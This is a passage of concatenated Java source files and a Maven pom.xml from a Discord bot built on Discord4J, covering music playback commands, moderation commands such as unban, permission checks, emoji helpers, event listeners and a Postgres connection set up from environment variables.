DatabaseManager.getInstance().getPrefixCache().addPrefix(event.getGuildId().get().asLong(), args[0]) .onErrorResume(error -> Mono.empty()).subscribe(); return CommandResponse.create("Set guild command prefix to " + args[0]); } return getHelp(event); } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription("Set the command-prefix of this server.") .addArg("prefix", "New prefix for bot-commands.", false).addExample("$").addExample("!"); } } <file_sep>/src/main/java/com/github/mubot/command/util/EmojiHelper.java package com.github.mubot.command.util; import java.util.HashMap; import java.util.Map; import java.util.stream.Stream; import discord4j.core.object.reaction.ReactionEmoji; import discord4j.core.object.reaction.ReactionEmoji.Unicode; public abstract class EmojiHelper { public static final ReactionEmoji.Unicode A_UNICODE = ReactionEmoji.unicode("🇦"); public static final ReactionEmoji.Unicode B_UNICODE = ReactionEmoji.unicode("🇧"); public static final ReactionEmoji.Unicode C_UNICODE = ReactionEmoji.unicode("🇨"); public static final ReactionEmoji.Unicode D_UNICODE = ReactionEmoji.unicode("🇩"); public static final ReactionEmoji.Unicode E_UNICODE = ReactionEmoji.unicode("🇪"); public static final ReactionEmoji.Unicode F_UNICODE = ReactionEmoji.unicode("🇫"); public static final ReactionEmoji.Unicode G_UNICODE = ReactionEmoji.unicode("🇬"); public static final ReactionEmoji.Unicode H_UNICODE = ReactionEmoji.unicode("🇭"); public static final ReactionEmoji.Unicode I_UNICODE = ReactionEmoji.unicode("🇮"); public static final ReactionEmoji.Unicode J_UNICODE = ReactionEmoji.unicode("🇯"); public static final ReactionEmoji.Unicode ZERO_UNICODE = ReactionEmoji.unicode("0️⃣"); public static final ReactionEmoji.Unicode ONE_UNICODE = ReactionEmoji.unicode("1️⃣"); public static final ReactionEmoji.Unicode TWO_UNICODE = ReactionEmoji.unicode("2️⃣"); public static final ReactionEmoji.Unicode THREE_UNICODE = ReactionEmoji.unicode("3️⃣"); public static final ReactionEmoji.Unicode FOUR_UNICODE = ReactionEmoji.unicode("4️⃣"); public static final ReactionEmoji.Unicode FIVE_UNICODE = ReactionEmoji.unicode("5️⃣"); public static final ReactionEmoji.Unicode SIX_UNICODE = ReactionEmoji.unicode("6️⃣"); public static final ReactionEmoji.Unicode SEVEN_UNICODE = ReactionEmoji.unicode("7️⃣"); public static final ReactionEmoji.Unicode EIGHT_UNICODE = ReactionEmoji.unicode("8️⃣"); public static final ReactionEmoji.Unicode NINE_UNICODE = ReactionEmoji.unicode("9️⃣"); public static final ReactionEmoji.Unicode RED_X_UNICODE = ReactionEmoji.unicode("❌"); private static final Map<Integer, Unicode> UNICODE_NUM_MAP; static { UNICODE_NUM_MAP = new HashMap<Integer, Unicode>(); UNICODE_NUM_MAP.put(0, ZERO_UNICODE); UNICODE_NUM_MAP.put(1, ONE_UNICODE); UNICODE_NUM_MAP.put(2, TWO_UNICODE); UNICODE_NUM_MAP.put(3, THREE_UNICODE); UNICODE_NUM_MAP.put(4, FOUR_UNICODE); UNICODE_NUM_MAP.put(5, FIVE_UNICODE); UNICODE_NUM_MAP.put(6, SIX_UNICODE); UNICODE_NUM_MAP.put(7, SEVEN_UNICODE); UNICODE_NUM_MAP.put(8, EIGHT_UNICODE); UNICODE_NUM_MAP.put(9, NINE_UNICODE); } public static final ReactionEmoji.Unicode LEFT_ARROW = ReactionEmoji.unicode("◀️"); public static final ReactionEmoji.Unicode RIGHT_ARROW = ReactionEmoji.unicode("▶️"); public static final String A_PLAIN = ":regional_indicator_a:"; public static final String B_PLAIN = ":regional_indicator_b:"; public static final String C_PLAIN = ":regional_indicator_c:"; public static final String D_PLAIN = ":regional_indicator_d:"; public static final String E_PLAIN = ":regional_indicator_e:"; public static final String F_PLAIN = ":regional_indicator_f:"; public static final String G_PLAIN = ":regional_indicator_g:"; public static final String H_PLAIN = ":regional_indicator_h:"; public static final String I_PLAIN = ":regional_indicator_i:"; public static final String J_PLAIN = ":regional_indicator_j:"; public static final String ZERO = ":zero:"; public static final String ONE = ":one:"; public static final String TWO = ":two:"; public static final String THREE = ":three:"; public static final String FOUR = ":four:"; public static final String FIVE = ":five:"; public static final String SIX = ":six:"; public static final String SEVEN = ":seven:"; public static final String EIGHT = ":eight:"; public static final String NINE = ":nine:"; private static final Map<Character, String> NUM_MAP; static { NUM_MAP = new HashMap<Character, String>(); NUM_MAP.put('0', ZERO); NUM_MAP.put('1', ONE); NUM_MAP.put('2', TWO); NUM_MAP.put('3', THREE); NUM_MAP.put('4', FOUR); NUM_MAP.put('5', FIVE); NUM_MAP.put('6', SIX); NUM_MAP.put('7', SEVEN); NUM_MAP.put('8', EIGHT); NUM_MAP.put('9', NINE); } public static final String NEXT_TRACK = ":next_track:"; public static final String STOP_SIGN = ":stop_sign:"; public static final String CHECK_MARK = ":white_check_mark:"; public static final String NO_ENTRY = ":no_entry_sign:"; public static final String MUTE = ":mute:"; public static final String SOUND = ":sound:"; public static final String RED_X = ":x:"; public static final String DICE = ":game_die:"; public static final String MEMO = ":memo:"; public static final String NOTES = ":notes:"; public static final String LOOP = ":loop:"; public static final String SHUFFLE = ":twisted_rightwards_arrows:"; public static final String REPEAT = ":repeat:"; public static final String LEFT = ":arrow_left:"; public static final String RIGHT = ":arrow_right:"; public static final Unicode numToUnicode(int num) { return UNICODE_NUM_MAP.get(num); } public static final int unicodeToNum(Unicode unicode) { return keys(UNICODE_NUM_MAP, unicode).findFirst().orElse(-1); } private static <K, V> Stream<K> keys(Map<K, V> map, V value) { return map.entrySet().stream().filter(entry -> value.equals(entry.getValue())).map(Map.Entry::getKey); } public static final String numToEmoji(String num) { StringBuilder sb = new StringBuilder(); for (int i = 0; i < num.length(); i++) { sb.append(NUM_MAP.get(num.charAt(i))); } return sb.toString(); } public static final String numToEmoji(int num) { return numToEmoji(Integer.toString(num)); } public static final ReactionEmoji.Unicode getUnicodeFromNum(int num) { switch (num) { case 0: return A_UNICODE; case 1: return B_UNICODE; case 2: return C_UNICODE; case 3: return D_UNICODE; case 4: return E_UNICODE; case 5: return F_UNICODE; case 6: return G_UNICODE; case 7: return H_UNICODE; case 8: return I_UNICODE; case 9: return J_UNICODE; default: } throw new IllegalArgumentException("No unicode character found for " + num); } public static final String getPlainLetterFromNum(int num) { switch (num) { case 0: return A_PLAIN; case 1: return B_PLAIN; case 2: return C_PLAIN; case 3: return D_PLAIN; case 4: return E_PLAIN; case 5: return F_PLAIN; case 6: return G_PLAIN; case 7: return H_PLAIN; case 8: return I_PLAIN; case 9: return J_PLAIN; default: } throw new IllegalArgumentException("No plain letter found for " + num); } } <file_sep>/src/main/java/com/github/mubot/command/exceptions/BotPermissionException.java package com.github.mubot.command.exceptions; public class BotPermissionException extends CommandException { private static final long serialVersionUID = 1L; public BotPermissionException(String message) { super(message); } public BotPermissionException(String message, String userFriendlyMessage) { super(message, userFriendlyMessage); } } <file_sep>/src/main/java/com/github/mubot/music/GuildMusic.java package com.github.mubot.music; import discord4j.common.util.Snowflake; public class GuildMusic { private final long guildId; private final TrackScheduler trackScheduler; private final LavaPlayerAudioProvider audioProvider; public GuildMusic(Snowflake guildId, TrackScheduler trackScheduler, LavaPlayerAudioProvider audioProvider) { this.guildId = guildId.asLong(); this.trackScheduler = trackScheduler; this.audioProvider = audioProvider; } public LavaPlayerAudioProvider getAudioProvider() { return audioProvider; } public TrackScheduler getTrackScheduler() { return trackScheduler; } public void destroy() { trackScheduler.destroy(); } public long getGuildId() { return guildId; } } <file_sep>/src/main/java/com/github/mubot/database/cache/DatabaseCache.java package com.github.mubot.database.cache; import java.util.concurrent.atomic.AtomicInteger; import com.github.mubot.database.DatabaseManager; import reactor.core.publisher.Mono; public abstract class DatabaseCache { protected DatabaseManager databaseManager; protected AtomicInteger counter; public DatabaseCache(DatabaseManager databaseManager) { this.databaseManager = databaseManager; counter = new AtomicInteger(0); buildCache().block(); } public abstract Mono<Void> buildCache(); } <file_sep>/src/main/java/com/github/mubot/command/commands/general/UnbanCommand.java package com.github.mubot.command.commands.general; import java.util.function.Consumer; import com.github.mubot.command.CommandResponse; import com.github.mubot.command.exceptions.CommandException; import com.github.mubot.command.help.CommandHelpSpec; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.rest.http.client.ClientException; import discord4j.rest.util.Permission; import reactor.core.publisher.Mono; public class UnbanCommand extends RequireMemberAndBotPermissionsCommand { public UnbanCommand() { super("unban", Permission.BAN_MEMBERS); } @Override protected Mono<CommandResponse> action(MessageCreateEvent event, String[] args) { return event.getGuild().flatMapMany(guild -> guild.getBans().map(ban -> { if (ban.getUser().getMention().equals(args[0])) return ban.getUser(); return null; }).switchIfEmpty(Mono.error(new CommandException("User not found in ban list."))) .flatMap(user -> guild.unban(user.getId()))) .then(CommandResponse.create("User " + args[0] + " has been unbanned.")).onErrorResume( ClientException.class, error -> Mono.error(new CommandException("Error unbanning user"))); } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription("Unban a user.").addArg("@user", "The user's mention", false); } } <file_sep>/src/main/java/com/github/mubot/command/commands/music/ViewQueueCommand.java package com.github.mubot.command.commands.music; import java.util.Arrays; import java.util.List; import java.util.function.Consumer; import com.github.mubot.command.CommandResponse; import com.github.mubot.command.help.CommandHelpSpec; import com.github.mubot.command.menu.menus.Paginator; import com.github.mubot.command.menu.menus.Paginator.Builder; import com.github.mubot.command.util.CommandUtil; import com.github.mubot.command.util.EmojiHelper; import com.github.mubot.music.TrackScheduler; import com.sedmelluq.discord.lavaplayer.track.AudioTrack; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.core.object.entity.channel.MessageChannel; import discord4j.core.object.entity.channel.VoiceChannel; import discord4j.core.spec.MessageCreateSpec; import discord4j.rest.util.Permission; import reactor.core.publisher.Mono; import reactor.util.annotation.NonNull; public class ViewQueueCommand extends MusicPermissionCommand { public ViewQueueCommand() { super("viewqueue", Arrays.asList("vq", "queue", "q"), Permission.MANAGE_MESSAGES); } @Override protected Mono<CommandResponse> action(MessageCreateEvent event, String[] args, TrackScheduler scheduler, VoiceChannel channel) { return viewQueue(scheduler, event.getMessage().getChannel()); } /** * Returns a list of the currently queued songs * * @param channelMono * * @param scheduler The TrackScheduler for this guild * @return List of songs in the queue, or "The queue is empty" if empty */ public Mono<CommandResponse> viewQueue(@NonNull TrackScheduler scheduler, Mono<MessageChannel> channelMono) { // get list of songs currently in the queue List<AudioTrack> queue = scheduler.getQueue(); Builder paginatorBuilder = new Paginator.Builder(); // if the queue is not empty if (queue.size() > 0) { String[] queueEntries = new String[queue.size()]; // print total number of songs paginatorBuilder.withMessageContent("Currently playing: " + CommandUtil.trackInfo(scheduler.getNowPlaying()) + "\n" + "There are currently " + EmojiHelper.numToEmoji(queue.size()) + " songs in the queue"); for (int i = 0; i < queue.size(); i++) { AudioTrack track = queue.get(i); // print title and author of song on its own line queueEntries[i] = EmojiHelper.numToEmoji(i + 1) + " - " + CommandUtil.trackInfo(track) + "\n"; } Paginator paginator = paginatorBuilder.withEntries(queueEntries).build(); Consumer<? super MessageCreateSpec> spec = paginator.createMessage(); return CommandResponse.create(spec, paginator); } else { return CommandResponse.create("The queue is empty"); } } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription("Displays all the songs currently in the queue."); } } <file_sep>/src/main/java/com/github/mubot/command/commands/general/RequirePermissionsCommand.java package com.github.mubot.command.commands.general; import java.util.List; import com.github.mubot.command.Command; import com.github.mubot.command.CommandResponse; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.rest.util.Permission; import reactor.core.publisher.Mono; public abstract class RequirePermissionsCommand extends Command { protected Permission[] permissions; public RequirePermissionsCommand(String commandTrigger, Permission... permissions) { super(commandTrigger); this.permissions = permissions; } public RequirePermissionsCommand(String commandTrigger, List<String> aliases, Permission... permissions) { super(commandTrigger, aliases); this.permissions = permissions; } protected abstract Mono<CommandResponse> action(MessageCreateEvent event, String[] args); } <file_sep>/src/main/java/com/github/mubot/command/util/PermissionsHelper.java package com.github.mubot.command.util; import java.util.Optional; import com.github.mubot.command.exceptions.BotPermissionException; import com.github.mubot.command.exceptions.CommandException; import com.github.mubot.command.exceptions.SendMessagesException; import discord4j.common.util.Snowflake; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.core.object.VoiceState; import discord4j.core.object.entity.Member; import discord4j.core.object.entity.channel.GuildChannel; import discord4j.core.object.entity.channel.VoiceChannel; import discord4j.rest.util.Permission; import discord4j.rest.util.PermissionSet; import reactor.core.publisher.Flux; import reactor.core.publisher.Mono; public final class PermissionsHelper { /** * Returns the voice channel the message sender is in or empty if they are not * in a voice channel * * @param event the message event * @return the voice channel of the message sender */ public static Mono<VoiceChannel> requireVoiceChannel(MessageCreateEvent event) { return requireNotPrivateMessage(event).flatMap(Member::getVoiceState).map(VoiceState::getChannelId) .switchIfEmpty(Mono.error(new CommandException("Voice command used without voice channel", "You have to be in a voice channel to use this command"))) .flatMap(Mono::justOrEmpty).flatMap(event.getClient()::getChannelById).cast(VoiceChannel.class); } /** * * @param event the message event * @return the voice channel the bot and message sender share or empty if they * do not share a voice channel */ private final static int MAX_RETRIES = 25000; public static Mono<VoiceChannel> requireSameVoiceChannel(MessageCreateEvent event) { // id of the bot's voice channel id or empty final Mono<Optional<Snowflake>> getBotVoiceChannelId = event.getClient().getSelf().flatMap(user -> { if (event.getGuildId().isPresent()) return user.asMember(event.getGuildId().get()); else return Mono.empty(); }).flatMap(Member::getVoiceState).map(VoiceState::getChannelId).defaultIfEmpty(Optional.empty()); // id of the user's voice channel id or empty final Mono<Optional<Snowflake>> getUserVoiceChannelId = Mono.justOrEmpty(event.getMember()) .flatMap(Member::getVoiceState).map(VoiceState::getChannelId).defaultIfEmpty(Optional.empty()); return checkSameVoiceChannel(event, getBotVoiceChannelId, getUserVoiceChannelId); } private static Mono<VoiceChannel> checkSameVoiceChannel(MessageCreateEvent event, Mono<Optional<Snowflake>> getBotVoiceChannelId, Mono<Optional<Snowflake>> getUserVoiceChannelId) { return requireNotPrivateMessage(event) .then(Mono.zip(getBotVoiceChannelId, getUserVoiceChannelId).flatMap(tuple -> { final Optional<Snowflake> botVoiceChannelId = tuple.getT1(); final Optional<Snowflake> userVoiceChannelId = tuple.getT2(); // If the user is not in a voice channel throw an error if (userVoiceChannelId.isEmpty()) { throw new CommandException("Voice command used without voice channel", "You have to be in a voice channel to use this command"); } // if the bot is not in a voice channel or If the user and the bot are not in // the same voice channel, give it a chance to join before erring else if (botVoiceChannelId.isEmpty() || !userVoiceChannelId.map(botVoiceChannelId.get()::equals).orElse(false)) { return Mono.empty(); } return Mono.just(userVoiceChannelId.get()); // retries allow the bot to connect to channel before throwing error, such as // "!join !play" }).repeatWhenEmpty(MAX_RETRIES, Flux::repeat)).onErrorResume(IllegalStateException.class, error -> { return Mono.error(new CommandException("User and bot not in same channel", "You have to be in the same voice channel as the bot to use this command")); }).flatMap(event.getClient()::getChannelById).cast(VoiceChannel.class); } /** * Checks if the message was sent in a private message or not * * @param event the MessageCreateEvent * @return returns the Member if not a private message, or errors if it is */ public static Mono<Member> requireNotPrivateMessage(MessageCreateEvent event) { return Mono.justOrEmpty(event.getMember()) .switchIfEmpty(Mono.error(new CommandException("Voice command in private message", "You can't use this command in a private message"))); } /** * * @param channel the guild channel * @param requestedPermissions the permissions the bot will need * @return the permissions the bot has in this channel or an error if the bot * does not have the requested permissions */ public static Mono<PermissionSet> requireBotChannelPermissions(GuildChannel channel, Permission... requestedPermissions) { return channel.getEffectivePermissions(channel.getClient().getSelfId()).flatMap(permissions -> { return checkChannelPermissions(true, channel.getName(), permissions, requestedPermissions); }); } /** * * @param channel the guild channel * @param memberId the Snowflake id of the member * @param requestedPermissions the permissions the bot will need * @return the permissions the member has in this channel or an error if the * member does not have the requested permissions */ public static Mono<PermissionSet> requireMemberChannelPermissions(GuildChannel channel, Snowflake memberId, Permission... requestedPermissions) { return channel.getEffectivePermissions(memberId).flatMap(permissions -> { return checkChannelPermissions(false, channel.getName(), permissions, requestedPermissions); }); } /** * Checks the given permissions set against the requested permission * * @param channelName the name of the channel permissions are being * checked for * @param permissions the set of permissions that the user has for the * given channel * @param requestedPermissions the permissions the user has requested for this * channel * @return the PermissionSet of the user for this channel, or error if the user * doesn't have one of the requested permissions for this channel */ private static Mono<PermissionSet> checkChannelPermissions(boolean bot, String channelName, PermissionSet permissions, Permission... requestedPermissions) { for (Permission permission : requestedPermissions) { if (!permissions.contains(permission)) { RuntimeException exception; String exceptionMessage = getChannelPermissionErrorMessage(bot, permission, channelName); if (permission.equals(Permission.SEND_MESSAGES)) { exception = new SendMessagesException(exceptionMessage); } else { exception = new BotPermissionException(exceptionMessage); } return Mono.error(exception); } } return Mono.just(permissions); } public static Mono<PermissionSet> requireBotGuildPermissions(MessageCreateEvent event, Permission... requestedPermissions) { return event.getClient().getMemberById(event.getGuildId().get(), event.getClient().getSelfId()) .flatMap(member -> requireGuildPermissions(member, requestedPermissions)); } public static Mono<PermissionSet> requireUserGuildPermissions(MessageCreateEvent event, Permission... requestedPermissions) { return event.getMessage().getAuthorAsMember() .flatMap(member -> requireGuildPermissions(member, requestedPermissions)); } public static Mono<PermissionSet> requireGuildPermissions(Member m, Permission... requestedPermissions) { return m.getBasePermissions().flatMap(memberPermissions -> { for (Permission permission : requestedPermissions) { if (!memberPermissions.contains(permission)) { RuntimeException exception; String exceptionMessage = getGuildPermissionErrorMessage(m.isBot(), permission); if (permission.equals(Permission.SEND_MESSAGES)) { exception = new SendMessagesException(exceptionMessage); } else { exception = new BotPermissionException(exceptionMessage); } return Mono.error(exception); } } return Mono.just(memberPermissions); }); } public static String getGuildPermissionErrorMessage(boolean bot, Permission permission) { StringBuilder sb; if (bot) sb = new StringBuilder("I don't have permission to "); else sb = new StringBuilder("You don't have permission to "); sb.append(permission.toString()); return sb.toString(); } public static String getChannelPermissionErrorMessage(boolean bot, Permission permission, String channelName) { StringBuilder sb; if (bot) sb = new StringBuilder("I don't have permission to "); else sb = new StringBuilder("You don't have permission to "); sb.append(permission.toString()); sb.append(" in " + channelName); return sb.toString(); } }<file_sep>/src/main/java/com/github/mubot/main/MuBot.java package com.github.mubot.main; import java.io.IOException; import com.github.mubot.database.DatabaseManager; import com.github.mubot.eventlistener.CommandListener; import com.github.mubot.eventlistener.EventListener; import com.github.mubot.eventlistener.GuildCreateListener; import com.github.mubot.eventlistener.GuildDeleteListener; import com.github.mubot.eventlistener.MessageLogger; import com.github.mubot.eventlistener.MuteOnJoinListener; import com.github.mubot.eventlistener.ReadyListener; import com.github.mubot.eventlistener.VoiceStateUpdateListener; import com.github.mubot.heroku.HerokuServer; import discord4j.core.GatewayDiscordClient; import discord4j.core.event.domain.Event; import reactor.util.Logger; import reactor.util.Loggers; public class MuBot { private static final Logger LOGGER = Loggers.getLogger(MuBot.class); private GatewayDiscordClient client; public MuBot(GatewayDiscordClient client) { this.client = client; // we should only find this when running on Heroku String port = System.getenv("PORT"); if (port != null) { // bind PORT for Heroku integration try { HerokuServer.create(Integer.parseInt(port)); } catch (NumberFormatException | IOException e) { LOGGER.error(e.getMessage(), e); } } else { LOGGER.info("Not running on Heroku"); // only log messages on the local client // MessageLogger.create(client); registerListener(new MessageLogger()); } DatabaseManager.create(); if (client.getEventDispatcher() != null) { registerListener(new ReadyListener()); registerListener(new VoiceStateUpdateListener()); registerListener(new CommandListener()); registerListener(new MuteOnJoinListener()); registerListener(new GuildCreateListener()); registerListener(new GuildDeleteListener()); } // ReadyListener.create(client); // VoiceStateUpdateListener.create(client); // CommandListener.create(client); // MuteOnJoinListener.create(client); } private <T extends Event> void registerListener(EventListener<T> listener) { client.getEventDispatcher().on(listener.getEventType()).flatMap(listener::consume).subscribe(null, error -> LOGGER.error(error.getMessage(), error)); } } <file_sep>/src/main/java/com/github/mubot/command/commands/music/PauseCommand.java package com.github.mubot.command.commands.music; import java.util.function.Consumer; import com.github.mubot.command.CommandResponse; import com.github.mubot.command.help.CommandHelpSpec; import com.github.mubot.music.TrackScheduler; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.core.object.entity.channel.VoiceChannel; import reactor.core.publisher.Mono; import reactor.util.annotation.NonNull; public class PauseCommand extends MusicCommand { public PauseCommand() { super("pause"); } @Override protected Mono<CommandResponse> action(MessageCreateEvent event, String[] args, TrackScheduler scheduler, VoiceChannel channel) { return pause(scheduler); } /** * Pauses/unpauses the player * * @param scheduler the track scheduler * @return null */ public Mono<CommandResponse> pause(@NonNull TrackScheduler scheduler) { scheduler.pause(!scheduler.isPaused()); return CommandResponse.empty(); } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription("Pauses currently playing track."); } } <file_sep>/src/main/java/com/github/mubot/command/commands/music/LeaveVoiceCommand.java package com.github.mubot.command.commands.music; import java.util.Arrays; import java.util.function.Consumer; import com.github.mubot.command.CommandResponse; import com.github.mubot.command.help.CommandHelpSpec; import com.github.mubot.music.TrackScheduler; import discord4j.core.event.domain.message.MessageCreateEvent; import discord4j.core.object.entity.channel.VoiceChannel; import discord4j.voice.VoiceConnection; import reactor.core.publisher.Mono; public class LeaveVoiceCommand extends MusicCommand { // private static final Logger LOGGER = // Loggers.getLogger(LeaveVoiceCommand.class); public LeaveVoiceCommand() { super("leave", Arrays.asList("quit", "q", "l")); }; @Override protected Mono<CommandResponse> action(MessageCreateEvent event, String[] args, TrackScheduler scheduler, VoiceChannel channel) { return leave(channel); } /** * Bot leaves any voice channel it is connected to in the same guild. Also * clears the queue of items. * * @param channel the channel to leave * @return */ public Mono<CommandResponse> leave(VoiceChannel channel) { return channel.getVoiceConnection().flatMap(VoiceConnection::disconnect).then(CommandResponse.empty()); } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription("Requests the bot to leave its' current voice channel."); } } <file_sep>/pom.xml <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.github.mubot</groupId> <artifactId>mubot</artifactId> <version>1.0.0-SNAPSHOT</version> <url>https://github.com/reptar25/MuBot</url> <description> Discord bot using Discord4J. </description> <licenses> <license> <name>GNU General Public License v3.0</name> <url>https://www.gnu.org/licenses/gpl.html</url> </license> </licenses> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>12</maven.compiler.source> <maven.compiler.target>12</maven.compiler.target> </properties> <repositories> <repository> <id>central</id> <name>bintray</name> <url>https://jcenter.bintray.com</url> </repository> <repository> <id>spring-milestones</id> <name>Spring Milestones</name> <url>https://repo.spring.io/milestone</url> <snapshots> <enabled>false</enabled> </snapshots> </repository> </repositories> <dependencyManagement> <dependencies> <dependency> <groupId>org.junit</groupId> <artifactId>junit-bom</artifactId> <version>5.7.0</version> <type>pom</type> <scope>import</scope> </dependency> </dependencies> </dependencyManagement> <dependencies> <dependency> <groupId>junit</groupId> <artifactId>junit-dep</artifactId> <version>4.11</version> </dependency> <dependency> <groupId>org.reflections</groupId> <artifactId>reflections</artifactId> <version>0.9.12</version> </dependency> <dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-simple</artifactId> <version>2.0.0-alpha1</version> </dependency> <dependency> <groupId>com.discord4j</groupId> <artifactId>discord4j-core</artifactId> <version>3.1.4</version> </dependency> <dependency> <groupId>com.sedmelluq</groupId> <artifactId>lavaplayer</artifactId> <version>1.3.71</version> </dependency> <dependency> <groupId>org.junit.jupiter</groupId> <artifactId>junit-jupiter</artifactId> <scope>test</scope> </dependency> <dependency> <groupId>org.mockito</groupId> <artifactId>mockito-core</artifactId> <version>3.6.0</version> </dependency> <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.2.16</version> </dependency> <dependency> <groupId>io.r2dbc</groupId> <artifactId>r2dbc-spi</artifactId> <version>0.8.3.RELEASE</version> </dependency> <dependency> <groupId>io.r2dbc</groupId> <artifactId>r2dbc-postgresql</artifactId> <version>0.8.6.RELEASE</version> <exclusions> <exclusion> <groupId>io.projectreactor</groupId> <artifactId>reactor-core</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>org.springframework.data</groupId> <artifactId>spring-data-r2dbc</artifactId> <version>1.2.3</version> </dependency> <dependency> <groupId>io.r2dbc</groupId> <artifactId>r2dbc-pool</artifactId> <version>0.8.5.RELEASE</version> <exclusions> <exclusion> <groupId>io.projectreactor</groupId> <artifactId>reactor-core</artifactId> </exclusion> </exclusions> </dependency> </dependencies> <build> <plugins> <plugin> <artifactId>maven-compiler-plugin</artifactId> <version>3.8.1</version> <configuration> <source>11</source> <target>11</target> </configuration> </plugin> <plugin> <artifactId>maven-surefire-plugin</artifactId> <version>2.22.2</version> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-dependency-plugin</artifactId> <executions> <execution> <id>copy-dependencies</id> <phase>prepare-package</phase> <goals> <goal>copy-dependencies</goal> </goals> <configuration> <outputDirectory>bin/lib</outputDirectory> <overWriteReleases>false</overWriteReleases> <overWriteSnapshots>false</overWriteSnapshots> <overWriteIfNewer>true</overWriteIfNewer> </configuration> </execution> </executions> </plugin> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-jar-plugin</artifactId> <version>3.1.0</version> <configuration> <outputDirectory>bin</outputDirectory> <archive> <manifest> <addClasspath>true</addClasspath> <classpathPrefix>lib</classpathPrefix> <mainClass>com.github.mubot.main.Main</mainClass> </manifest> </archive> </configuration> </plugin> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>versions-maven-plugin</artifactId> <version>2.7</version> </plugin> </plugins> </build> </project><file_sep>/src/main/java/com/github/mubot/command/exceptions/CommandException.java package com.github.mubot.command.exceptions; public class CommandException extends RuntimeException { private static final long serialVersionUID = 1L; private String userFriendlyMessage; public CommandException(String message) { super(message, null, false, false); userFriendlyMessage = message; } public CommandException(String message, String userFriendlyMessage) { super(message, null, false, false); this.userFriendlyMessage = userFriendlyMessage; } public void setUserFriendlyMessage(String userFriendlyMessage) { this.userFriendlyMessage = userFriendlyMessage; } public String getUserFriendlyMessage() { return userFriendlyMessage; } } <file_sep>/src/main/java/com/github/mubot/eventlistener/GuildCreateListener.java package com.github.mubot.eventlistener; import com.github.mubot.database.DatabaseManager; import discord4j.core.event.domain.guild.GuildCreateEvent; import reactor.core.publisher.Mono; import reactor.util.Logger; import reactor.util.Loggers; public class GuildCreateListener implements EventListener<GuildCreateEvent> { private static final Logger LOGGER = Loggers.getLogger(GuildCreateListener.class); @Override public Class<GuildCreateEvent> getEventType() { return GuildCreateEvent.class; } @Override public Mono<Void> consume(GuildCreateEvent e) { return Mono.just(e).flatMap(event -> { LOGGER.info("GuildCreateEvent consumed: " + event.getGuild().getId().asLong() + ", " + event.getGuild().getName()); return DatabaseManager.getInstance().getGuildCache().offerGuild(event.getGuild()); }); } } <file_sep>/src/main/java/com/github/mubot/command/commands/general/HelpCommand.java package com.github.mubot.command.commands.general; import java.util.Arrays; import java.util.Map.Entry; import static com.github.mubot.command.util.CommandUtil.getEscapedGuildPrefixFromEvent; import java.util.Set; import java.util.function.Consumer; import java.util.stream.Collectors; import com.github.mubot.command.Command; import com.github.mubot.command.CommandResponse; import com.github.mubot.command.CommandsHelper; import com.github.mubot.command.help.CommandHelpSpec; import discord4j.core.event.domain.message.MessageCreateEvent; import reactor.core.publisher.Mono; public class HelpCommand extends Command { public HelpCommand() { super("help", Arrays.asList("commands", "h")); } @Override public Mono<CommandResponse> execute(MessageCreateEvent event, String[] args) { return help(event); } /** * Returns a list of all commands in the channel the message was sent. * * @param event * * @return List of available commands */ public Mono<CommandResponse> help(MessageCreateEvent event) { Set<Entry<String, Command>> entries = CommandsHelper.getEntries(); String commands = entries.stream() .map(entry -> String.format("%n%s%s", getEscapedGuildPrefixFromEvent(event), entry.getValue().getPrimaryTrigger())) .distinct().sorted().collect(Collectors.joining()).toString(); return CommandResponse.create(message -> message.setEmbed( embed -> embed.setTitle(String.format("Use ***help*** with any command to get more information on that command, for example `%splay help`.", getEscapedGuildPrefixFromEvent(event))) .addField("Available commands: ", commands, false))); } @Override public Consumer<? super CommandHelpSpec> createHelpSpec() { return spec -> spec.setDescription("Displays a list of available commands you can use with the bot."); } } <file_sep>/src/main/java/com/github/mubot/database/DatabaseManager.java package com.github.mubot.database; import java.net.URI; import java.net.URISyntaxException; import java.time.Duration; import org.springframework.r2dbc.core.DatabaseClient; import com.github.mubot.database.cache.GuildCache; import com.github.mubot.database.cache.PrefixCache; import io.r2dbc.pool.ConnectionPool; import io.r2dbc.pool.ConnectionPoolConfiguration; import io.r2dbc.postgresql.PostgresqlConnectionConfiguration; import io.r2dbc.postgresql.PostgresqlConnectionFactory; import io.r2dbc.postgresql.client.SSLMode; import io.r2dbc.spi.ConnectionFactory; public class DatabaseManager { // for heroku DATABASE_URL is stored as // postgres://<username>:<password>@<host>/<dbname> private final static String DB_URL = System.getenv("DATABASE_URL"); private final String TABLE_NAME = "guilds"; private String MAX_CONNECTIONS = System.getenv("DATABASE_MAX_CONNECTIONS"); private static DatabaseManager instance; private DatabaseClient databaseClient; private static PrefixCache prefixCache; private static GuildCache guildCache; private DatabaseManager() { try { URI dbUri = new URI(DB_URL); if (MAX_CONNECTIONS == null) { MAX_CONNECTIONS = "10"; } ConnectionFactory factory = new PostgresqlConnectionFactory(PostgresqlConnectionConfiguration.builder() .host(dbUri.getHost()).port(dbUri.getPort()).username(dbUri.getUserInfo().split(":")[0]) .password(dbUri.getUserInfo().split(":")[1]).database(dbUri.getPath().replaceFirst("/", "")) 